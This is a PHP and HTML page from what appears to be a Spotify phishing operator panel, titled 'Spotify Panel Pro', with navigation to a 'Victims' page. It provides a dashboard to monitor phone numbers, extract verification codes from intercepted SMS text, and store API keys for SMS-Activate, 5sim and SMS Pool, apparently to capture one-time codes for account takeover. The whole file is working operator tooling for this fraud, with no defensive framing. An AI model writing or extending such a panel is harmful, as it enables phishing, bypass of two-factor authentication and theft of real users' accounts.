<?php
/**
 * SMS Monitoring Dashboard
 * Real-time SMS extraction and monitoring
 */

require_once 'auth.php';
require_once __DIR__ . '/../includes/Cache.php';
require_once __DIR__ . '/../includes/SMSExtractor.php';

// Handle AJAX requests
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    header('Content-Type: application/json');
    
    switch ($_POST['action']) {
        case 'start_monitoring':
            $phone = $_POST['phone'] ?? '';
            $duration = intval($_POST['duration'] ?? 300);
            $result = SMSExtractor::startAutoMonitoring($phone, $duration);
            echo json_encode($result);
            exit;
            
        case 'check_status':
            $phone = $_POST['phone'] ?? null;
            $result = SMSExtractor::getMonitoringStatus($phone);
            echo json_encode($result);
            exit;
            
        case 'extract_code':
            $text = $_POST['text'] ?? '';
            $code = SMSExtractor::extractCode($text);
            echo json_encode(['success' => $code !== null, 'code' => $code]);
            exit;
            
        case 'parse_sms':
            $text = $_POST['text'] ?? '';
            $result = SMSExtractor::parseSMS($text);
            echo json_encode($result);
            exit;
    }
}

$monitoringStatus = SMSExtractor::getMonitoringStatus();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SMS Monitor - Spotify Panel Pro</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            color: #fff;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container { max-width: 1400px; margin: 0 auto; }
        
        .header {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 20px 30px;
            border-radius: 15px;
            margin-bottom: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 15px;
        }
        
        .header h1 {
            font-size: 28px;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .header .logo {
            width: 40px;
            height: 40px;
            background: #1ed760;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
        }
        
        .nav-links {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .nav-links a {
            color: #fff;
            text-decoration: none;
            padding: 10px 20px;
            background: rgba(255,255,255,0.1);
            border-radius: 25px;
            transition: all 0.3s;
            font-size: 14px;
        }
        
        .nav-links a:hover {
            background: #1ed760;
            transform: translateY(-2px);
        }
        
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .card h2 {
            margin-bottom: 20px;
            font-size: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .form-group {
            margin-bottom: 15px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-size: 14px;
            opacity: 0.9;
        }
        
        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 12px 15px;
            background: rgba(255,255,255,0.1);
            border: 1px solid rgba(255,255,255,0.2);
            border-radius: 8px;
            color: #fff;
            font-size: 14px;
        }
        
        .form-group input::placeholder,
        .form-group textarea::placeholder {
            color: rgba(255,255,255,0.5);
        }
        
        .form-group textarea {
            min-height: 100px;
            resize: vertical;
        }
        
        .btn {
            padding: 12px 24px;
            background: #1ed760;
            color: #000;
            border: none;
            border-radius: 25px;
            font-size: 14px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s;
        }
        
        .btn:hover {
            background: #1db954;
            transform: translateY(-2px);
        }
        
        .btn:disabled {
            background: #666;
            cursor: not-allowed;
            transform: none;
        }
        
        .btn-secondary {
            background: rgba(255,255,255,0.2);
            color: #fff;
        }
        
        .btn-secondary:hover {
            background: rgba(255,255,255,0.3);
        }
        
        .result-box {
            margin-top: 15px;
            padding: 15px;
            background: rgba(0,0,0,0.3);
            border-radius: 8px;
            border-left: 4px solid #1ed760;
        }
        
        .result-box.error {
            border-left-color: #ff4444;
        }
        
        .result-box .code {
            font-size: 32px;
            font-weight: bold;
            color: #1ed760;
            margin: 10px 0;
            letter-spacing: 5px;
        }
        
        .monitoring-list {
            display: flex;
            flex-direction: column;
            gap: 10px;
        }
        
        .monitoring-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            border-radius: 8px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .monitoring-item .phone {
            font-weight: bold;
            font-size: 16px;
        }
        
        .monitoring-item .status {
            padding: 5px 15px;
            background: #1ed760;
            color: #000;
            border-radius: 15px;
            font-size: 12px;
            font-weight: bold;
        }
        
        .monitoring-item .time {
            font-size: 12px;
            opacity: 0.7;
        }
        
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }
        
        .stat-box {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            border-radius: 8px;
            text-align: center;
        }
        
        .stat-box .value {
            font-size: 32px;
            font-weight: bold;
            color: #1ed760;
        }
        
        .stat-box .label {
            font-size: 12px;
            opacity: 0.7;
            margin-top: 5px;
        }
        
        .api-config {
            background: rgba(0,0,0,0.2);
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .api-config h3 {
            font-size: 14px;
            margin-bottom: 10px;
            opacity: 0.9;
        }
        
        @keyframes pulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .pulse {
            animation: pulse 2s infinite;
        }
        
        @media (max-width: 768px) {
            .grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <h1>
                <div class="logo">📱</div>
                <span>SMS Monitor</span>
            </h1>
            <div class="nav-links">
                <a href="index_realtime.php">🏠 Dashboard</a>
                <a href="analytics.php">📊 Analytics</a>
                <a href="victims.php">👥 Victims</a>
                <a href="settings.php">⚙️ Settings</a>
            </div>
        </div>
        
        <!-- Statistics -->
        <div class="stats-grid">
            <div class="stat-box">
                <div class="value"><?= $monitoringStatus['active_tasks'] ?></div>
                <div class="label">Active Monitors</div>
            </div>
            <div class="stat-box">
                <div class="value" id="extractedCount">0</div>
                <div class="label">Codes Extracted</div>
            </div>
            <div class="stat-box">
                <div class="value" id="successRate">0%</div>
                <div class="label">Success Rate</div>
            </div>
        </div>
        
        <!-- Main Grid -->
        <div class="grid">
            <!-- Start Monitoring -->
            <div class="card">
                <h2>🚀 Start Monitoring</h2>
                <form id="startMonitoringForm">
                    <div class="form-group">
                        <label>Phone Number</label>
                        <input type="text" name="phone" placeholder="+1234567890" required>
                    </div>
                    <div class="form-group">
                        <label>Duration (seconds)</label>
                        <input type="number" name="duration" value="300" min="60" max="3600">
                    </div>
                    <div class="form-group">
                        <label>Check Interval (seconds)</label>
                        <input type="number" name="interval" value="5" min="3" max="60">
                    </div>
                    <button type="submit" class="btn">Start Monitoring</button>
                </form>
                <div id="monitoringResult"></div>
            </div>
            
            <!-- Extract from Text -->
            <div class="card">
                <h2>🔍 Extract Code from SMS</h2>
                <form id="extractForm">
                    <div class="form-group">
                        <label>SMS Text</label>
                        <textarea name="text" placeholder="Paste SMS message here..." required></textarea>
                    </div>
                    <button type="submit" class="btn">Extract Code</button>
                </form>
                <div id="extractResult"></div>
            </div>
            
            <!-- API Configuration -->
            <div class="card">
                <h2>⚙️ API Configuration</h2>
                <div class="api-config">
                    <h3>SMS-Activate</h3>
                    <div class="form-group">
                        <input type="text" placeholder="API Key" id="smsActivateKey">
                    </div>
                </div>
                <div class="api-config">
                    <h3>5sim</h3>
                    <div class="form-group">
                        <input type="text" placeholder="API Key" id="fiveSimKey">
                    </div>
                </div>
                <div class="api-config">
                    <h3>SMS Pool</h3>
                    <div class="form-group">
                        <input type="text" placeholder="API Key" id="smsPoolKey">
                    </div>
                </div>
                <button class="btn" onclick="saveAPIKeys()">Save API Keys</button>
            </div>
            
            <!-- Active Monitoring -->
            <div class="card">
                <h2>📡 Active Monitoring</h2>
                <div class="monitoring-list" id="monitoringList">
                    <?php if (empty($monitoringStatus['tasks'])): ?>
                        <p style="opacity: 0.7; text-align: center; padding: 20px;">No active monitoring tasks</p>
                    <?php else: ?>
                        <?php foreach ($monitoringStatus['tasks'] as $phone => $task): ?>
                            <div class="monitoring-item">
                                <div>
                                    <div class="phone"><?= htmlspecialchars($phone) ?></div>
                                    <div class="time">Started: <?= date('H:i:s', $task['start_time']) ?></div>
                                </div>
                                <div class="status pulse">ACTIVE</div>
                            </div>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>
        
        <!-- Recent Extractions -->
        <div class="card">
            <h2>📋 Recent Extractions</h2>
            <div id="recentExtractions">
                <p style="opacity: 0.7; text-align: center; padding: 20px;">No recent extractions</p>
            </div>
        </div>
    </div>
    
    <script>
        // Start Monitoring Form
        $('#startMonitoringForm').on('submit', function(e) {
            e.preventDefault();
            
            const formData = $(this).serialize() + '&action=start_monitoring';
            
            $.post('', formData, function(response) {
                if (response.success) {
                    $('#monitoringResult').html(`
                        <div class="result-box">
                            <strong>✅ Monitoring Started</strong><br>
                            Phone: ${response.phone}<br>
                            Duration: ${response.duration}s<br>
                            Interval: ${response.interval}s
                        </div>
                    `);
                    
                    // Refresh monitoring list
                    setTimeout(() => location.reload(), 2000);
                } else {
                    $('#monitoringResult').html(`
                        <div class="result-box error">
                            <strong>❌ Error</strong><br>
                            ${response.error || 'Failed to start monitoring'}
                        </div>
                    `);
                }
            }, 'json');
        });
        
        // Extract Code Form
        $('#extractForm').on('submit', function(e) {
            e.preventDefault();
            
            const formData = $(this).serialize() + '&action=parse_sms';
            
            $.post('', formData, function(response) {
                if (response.code) {
                    $('#extractResult').html(`
                        <div class="result-box">
                            <strong>✅ Code Extracted</strong>
                            <div class="code">${response.code}</div>
                            ${response.service ? `Service: ${response.service}<br>` : ''}
                            ${response.type ? `Type: ${response.type}` : ''}
                        </div>
                    `);
                    
                    // Update stats
                    const count = parseInt($('#extractedCount').text()) + 1;
                    $('#extractedCount').text(count);
                } else {
                    $('#extractResult').html(`
                        <div class="result-box error">
                            <strong>❌ No Code Found</strong><br>
                            Could not extract code from the provided text
                        </div>
                    `);
                }
            }, 'json');
        });
        
        // Save API Keys
        function saveAPIKeys() {
            const keys = {
                sms_activate: $('#smsActivateKey').val(),
                five_sim: $('#fiveSimKey').val(),
                sms_pool: $('#smsPoolKey').val()
            };
            
            localStorage.setItem('sms_api_keys', JSON.stringify(keys));
            alert('✅ API keys saved successfully!');
        }
        
        // Load API Keys
        function loadAPIKeys() {
            const keys = JSON.parse(localStorage.getItem('sms_api_keys') || '{}');
            $('#smsActivateKey').val(keys.sms_activate || '');
            $('#fiveSimKey').val(keys.five_sim || '');
            $('#smsPoolKey').val(keys.sms_pool || '');
        }
        
        // Auto-refresh monitoring list
        setInterval(function() {
            $.post('', {action: 'check_status'}, function(response) {
                if (response.active_tasks > 0) {
                    // Update monitoring list
                    let html = '';
                    for (const [phone, task] of Object.entries(response.tasks)) {
                        const elapsed = Math.floor((Date.now() / 1000) - task.start_time);
                        const remaining = Math.max(0, task.end_time - (Date.now() / 1000));
                        
                        html += `
                            <div class="monitoring-item">
                                <div>
                                    <div class="phone">${phone}</div>
                                    <div class="time">Remaining: ${Math.floor(remaining)}s</div>
                                </div>
                                <div class="status pulse">ACTIVE</div>
                            </div>
                        `;
                    }
                    $('#monitoringList').html(html);
                }
            }, 'json');
        }, 5000);
        
        // Load API keys on page load
        $(document).ready(function() {
            loadAPIKeys();
        });
    </script>
</body>
</html>
